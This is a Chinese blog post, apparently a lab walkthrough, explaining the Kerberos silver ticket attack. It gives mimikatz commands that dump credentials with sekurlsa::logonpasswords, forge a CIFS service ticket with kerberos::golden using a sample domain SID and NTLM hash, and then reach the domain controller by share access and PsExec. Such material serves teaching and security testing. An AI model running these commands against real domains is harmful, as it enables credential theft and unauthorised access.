zoukankan      html  css  js  c++  java
  • 白银票据

    0x00:白银票据简介

    参考链接:https://blog.csdn.net/cj_Allen/article/details/104310265

    https://msd.misuland.com/pd/4146263502304054192?page=1

    白银票据与ms14068和黄金票据的原理不太一样,ms14068和黄金票据都是伪造tgt(门票发放票),而白银票据则是伪造st(门票),这样的好处是门票不会经过kdc,从而更加隐蔽,但是伪造的门票只对部分服务起作用,如cifs(文件共享服务),mssql,winrm(windows远程管理),dns等等

    其实与其说这是一种利用方式,倒不如说这是一个后门,在拥有server hash的时候,可以随时去请求server。

    白银票据的要求

    1.域名

    2.域sid

    3.目标服务器FQDN dc.hacker.com

    4.可利用的服务,如cifs

    5.服务账号的NTML HASH

    6.需要伪造的用户名 ,可以是任意用户名,一般伪造administrator

    kerberos::golden:使用minikatz中票据的功能
    /domain:指定域名
    /sid:Client端查询的sid号,在域控中查询也可以,都是一样的
    /target:主域控中的计算机全名
    /rc4:在域控中抓取的hash(NTLM)
    /service:需要伪造的服务(cifs只是其中的一种服务,可伪造的服务很多)
    /user:需要伪造的用户名(可自定义)
    /ppt:伪造了以后直接写入到内存中

    一些可用的服务

    0x01:实验测试

    (1)普通域成员 win7(无管理权限),无法访问共享文件夹

     (2)使用域管理员登陆(该域管理员 还是之前用 MS14-068漏洞创建的一个域管理用户 ms14-068)可以访问主域控的C盘文件夹

     

     

     使用工具mimikatz.exe执行命令抓取hash(用域管理员执行)

    PRIVILEGE::Debug – 获得 Debug 权限(很多 Mimikatz 命令需要 Debug 权限或本地 SYSTEM 权限)。

    SEKURLSA::LogonPasswords – 列出所有可用的提供者的凭据。这个命令通常会显示最近登录过的用户和最近登录过的计算机的凭证。
    > mimikatz.exe privilege::debug sekurlsa::logonpasswords exit>log.txt  //先后运行这些命令,并把结果导入到log.txt中

    (3)登陆普通域成员账户win7

    Client端查询的sid号,在域控中查询也可以,都是一样的
    获取域的SID,域内任意一台主机都可以,不用加结尾的序号

     生成白银票据,生成票据之前,还是最好把本地的票据清空吧(kerberos::purge)

    kerberos::golden:使用minikatz中票据的功能
    /domain:指定域名
    /sid:Client端查询的sid号,在域控中查询也可以,都是一样的,最后一个"-数字"不用加上去 
    /target:主域控中的计算机全名
    /rc4:在域控中抓取的hash(NTLM)
    /service:需要伪造的服务(cifs只是其中的一种服务,可伪造的服务很多)
    /user:需要伪造的用户名(可自定义)
    /ppt:伪造了以后直接写入到内存中

    但是还是无法访问,访问被拒绝

    并且 执行dir 访问语句后,mimikatz kerberos::list 发现 票据列表为空的

    难道必须是域控的HASH?

    我这个 ms14-068也是域管理员用户啊

    还有我发现 win7用户和ms14-068的 NTLM是相同的???

    在主域控win2008中,又试了一遍导出hash,并测试成功

    我猜测之前失败的原因,是因为白银票据是针对某个服务的。而上面我们的target是WIN-DC1,可是导出的hash值是其他管理员ms14-068的hash,所以导致还是无法访问主域控WIN-DC1的共享文件

     

     

    0x02:总结

    转自:https://www.cnblogs.com/simon7s/p/12463500.html

    第一步:

    管理员权限运行mimikatz

    privilege::debug #提升权限

    sekurlsa::logonpasswords #获取service账户hash 和sid(同一个域下得sid一样)

    第二步:

    清空本地票据缓存

    kerberos::purge #清理本地票据缓存

    kerberos::list #查看本地保存的票据

    第三步:

    伪造白银票据并导入

    kerberos::golden /domain:superman.com /sid:S-1-5-21-259090122-541454442-2960687606 /target:win08.superman.com /rc4:f6f19db774c63e49e9af61346adff204 /service:cifs /user:administrator /ptt

    第四步:

    访问域控的共享目录

    dir \win08c$

    远程登陆,执行命令

    PsExec.exe \win08 cmd.exe

    whoami查看权限

    面试时被问到,黄金票据跟白银票据的区别:

    1.TGS ticket针对的是某个机器上的某个服务,TGT针对的是所有机器的所有服务

    2.TGT利用krbtgt账户的hash,TGS ticket利用的是服务账户的hash(目标机的hash,以计算机名$显示的账户)

    1

  • 相关阅读:
    [Unity3D]计时器/Timer
    unity缓存和浏览器缓存
    unity3d进行脚本资源打包加载
    Unity3d删除无用的美术资源
    项目经理的职责(转载)
    LINQ
    生意经
    Android ListView标题置顶效果实现
    ListView的自动循环滚动显示
    郭霖的专栏
  • 原文地址:https://www.cnblogs.com/liqik/p/13186963.html
Copyright © 2011-2022 走看看